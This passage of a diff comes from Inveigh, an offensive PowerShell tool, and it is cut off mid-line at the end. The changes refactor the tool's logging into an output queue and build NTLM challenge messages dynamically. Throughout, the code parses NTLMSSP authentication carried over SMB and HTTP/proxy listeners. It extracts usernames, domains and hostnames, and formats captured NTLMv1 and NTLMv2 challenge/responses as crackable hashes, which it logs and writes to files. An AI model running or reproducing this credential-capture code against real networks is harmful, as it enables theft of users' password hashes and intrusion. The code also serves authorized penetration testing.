3 + { + $DNS_computer_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + 4 + { + $DNS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + } + + $target_info_index = $target_info_index + $target_info_item_length + 4 + $target_info_item_type = $Payload[$target_info_index] + $i++ + } + + if($netBIOS_domain_name -and $DNS_domain_name -and !$inveigh.domain_mapping_table.$netBIOS_domain_name -and $netBIOS_domain_name -ne $DNS_domain_name) + { + $inveigh.domain_mapping_table.Add($netBIOS_domain_name,$DNS_domain_name) + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target -and !$inveigh.enumerate[$i].Hostname) + { + $inveigh.enumerate[$i].Hostname = $DNS_computer_name + $inveigh.enumerate[$i]."DNS Domain" = $DNS_domain_name + $inveigh.enumerate[$i]."netBIOS Domain" = $netBIOS_domain_name + break + } + + } + + } + + return $NTLM_challenge + } + + function Get-SMBNTLMResponse + { + param ([Byte[]]$Payload,[String]$Session) + + $payload_converted = [System.BitConverter]::ToString($Payload) + $payload_converted = $payload_converted -replace "-","" + $NTLMSSP_hex_offset = $payload_converted.IndexOf("4E544C4D53535000") + + if($NTLMSSP_hex_offset -gt 0 -and $payload_converted.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") + { + $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 + $LM_length = Get-UInt16DataLength ($NTLMSSP_offset + 12) $Payload + $LM_offset = Get-UInt32DataLength ($NTLMSSP_offset + 16) $Payload + $LM_response = [System.BitConverter]::ToString($Payload[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" + $NTLM_length = Get-UInt16DataLength ($NTLMSSP_offset + 20) $Payload + $NTLM_offset = Get-UInt32DataLength ($NTLMSSP_offset + 24) $Payload + $NTLM_response = [System.BitConverter]::ToString($Payload[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" + $domain_length = Get-UInt16DataLength ($NTLMSSP_offset + 28) $Payload + $domain_offset = Get-UInt32DataLength ($NTLMSSP_offset + 32) $Payload + $NTLM_domain_string = Convert-DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $Payload + $user_length = Get-UInt16DataLength ($NTLMSSP_offset + 36) $Payload + $user_offset = Get-UInt32DataLength ($NTLMSSP_offset + 40) $Payload + $NTLM_user_string = Convert-DataToString ($NTLMSSP_offset + $user_offset) $user_length $Payload + $host_length = Get-UInt16DataLength ($NTLMSSP_offset + 44) $Payload + $host_offset = Get-UInt32DataLength ($NTLMSSP_offset + 48) $Payload + $NTLM_host_string = Convert-DataToString ($NTLMSSP_offset + $host_offset) $host_length $Payload + $NTLM_challenge = $inveigh.SMB_session_table.$Session + + if($NTLM_length -gt 24) + { + $NTLMv2_response = $NTLM_response.Insert(32,':') + $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response + + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($NTLMv2_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") > $null } else { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string [not unique]") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") > $null } if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) > $null } } @@ -1464,48 +2694,38 @@ $SMB_NTLM_functions_scriptblock = if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - $inveigh.NTLMv1_list.Add($NTLMv1_hash) + $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") > $null } else { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string [not unique]") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") > $null } if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) > $null } } } + Invoke-SessionUpdate $NTLM_domain_string $NTLM_user_string $NTLM_host_string $source_IP } } @@ -1513,12 +2733,12 @@ $SMB_NTLM_functions_scriptblock = } # HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener -$HTTP_scriptblock = -{ - param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, +$HTTP_scriptblock = +{ + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse, $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - function NTLMChallengeBase64 + function Get-NTLMChallengeBase64 { param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) @@ -1540,8 +2760,6 @@ $HTTP_scriptblock = $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null - if($NTLMESS) { $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a @@ -1551,25 +2769,51 @@ $HTTP_scriptblock = $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a } - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00 + + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + $hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.computer_name) + $netBIOS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.netBIOS_domain) + $DNS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_domain) + $DNS_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_computer_name) + $hostname_length = [System.BitConverter]::GetBytes($hostname_bytes.Length)[0,1] + $netBIOS_domain_length = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length)[0,1] + $DNS_domain_length = [System.BitConverter]::GetBytes($DNS_domain_bytes.Length)[0,1] + $DNS_hostname_length = [System.BitConverter]::GetBytes($DNS_hostname_bytes.Length)[0,1] + $target_length = [System.BitConverter]::GetBytes($hostname_bytes.Length + $netBIOS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_hostname_bytes.Length + 36)[0,1] + $target_offset = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length + 56) + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $netBIOS_domain_length + + $netBIOS_domain_length + + 0x38,0x00,0x00,0x00 + $HTTP_NTLM_negotiation_flags + $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $target_length + + $target_length + + $target_offset + + 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + + $netBIOS_domain_bytes + + 0x02,0x00 + + $netBIOS_domain_length + + $netBIOS_domain_bytes + + 0x01,0x00 + + $hostname_length + + $hostname_bytes + + 0x04,0x00 + + $DNS_domain_length + + $DNS_domain_bytes + + 0x03,0x00 + + $DNS_hostname_length + + $DNS_hostname_bytes + + 0x05,0x00 + + $DNS_domain_length + + $DNS_domain_bytes + + 0x07,0x00,0x08,0x00 + $HTTP_timestamp + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = "NTLM " + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge return $NTLM } @@ -1600,7 +2844,7 @@ $HTTP_scriptblock = $HTTP_running = $true $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint $HTTP_client_close = $true - + if($proxy_listener) { $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) @@ -1613,35 +2857,24 @@ $HTTP_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") $HTTP_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") > $null } :HTTP_listener_loop while($inveigh.running -and $HTTP_running) { - $TCP_request = "" + $TCP_request = $null $TCP_request_bytes = New-Object System.Byte[] 4096 $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html") + $HTTP_header_cache_control = $null + $HTTP_header_authenticate = $null + $HTTP_header_authenticate_data = $null + $HTTP_message = '' + $HTTP_header_authorization = '' + $HTTP_header_host = $null + $HTTP_header_user_agent = $null + $HTTP_request_raw_URL = $null $NTLM = "NTLM" while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) @@ -1680,7 +2913,7 @@ $HTTP_scriptblock = } else { - + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) { $HTTP_client = $HTTP_listener.AcceptTcpClient() @@ -1698,7 +2931,7 @@ $HTTP_scriptblock = while($HTTP_stream.DataAvailable) { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) > $null } $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) @@ -1710,13 +2943,14 @@ $HTTP_scriptblock = $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_connection_header_close = $true if($NBNSBruteForcePause) { $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $inveigh.hostname_spoof = $true } - + if($TCP_request -like "*-48-6F-73-74-3A-20-*") { $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) @@ -1731,54 +2965,21 @@ $HTTP_scriptblock = $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) - - if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - } if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") > $null if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") > $null } } - + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") { $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) @@ -1816,11 +3017,11 @@ $HTTP_scriptblock = $HTTP_response_status_code = 0x34,0x30,0x31 $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 } - + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 $HTTP_client_close = $false } - + if($TCP_request -like "50-4f-53-54*") { $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) @@ -1830,158 +3031,132 @@ $HTTP_scriptblock = if($HTTP_POST_request_old -ne $HTTP_POST_request) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") - $inveigh.POST_request_file_queue.Add($HTTP_POST_request) - $inveigh.POST_request_list.Add($HTTP_POST_request) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") > $null + $inveigh.POST_request_file_queue.Add($HTTP_POST_request) > $null + $inveigh.POST_request_list.Add($HTTP_POST_request) > $null } $HTTP_POST_request_old = $HTTP_POST_request } - + if($HTTP_header_authorization.StartsWith('NTLM ')) { - $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) - + $HTTP_connection_header_close = $false + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { - $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') { - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + $HTTP_NTLM_length = Get-UInt16DataLength 20 $HTTP_request_bytes + $HTTP_NTLM_offset = Get-UInt32DataLength 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = Get-UInt16DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = Get-UInt32DataLength 32 $HTTP_request_bytes [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - + if($HTTP_NTLM_domain_length -eq 0) { - $HTTP_NTLM_domain_string = "" + $HTTP_NTLM_domain_string = $null } else { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + $HTTP_NTLM_domain_string = Convert-DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - + + $HTTP_NTLM_user_length = Get-UInt16DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = Get-UInt32DataLength 40 $HTTP_request_bytes + $HTTP_NTLM_user_string = Convert-DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + $HTTP_NTLM_host_length = Get-UInt16DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = Get-UInt32DataLength 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = Convert-DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string + if($HTTP_NTLM_length -eq 24) # NTLMv1 { $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(48,':') $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) > $null - if($inveigh.log_output) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } - if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full") { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_username_full") > $null } } } else # NTLMv2 - { + { $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(32,':') $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) > $null - if($inveigh.log_output) - { - $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP 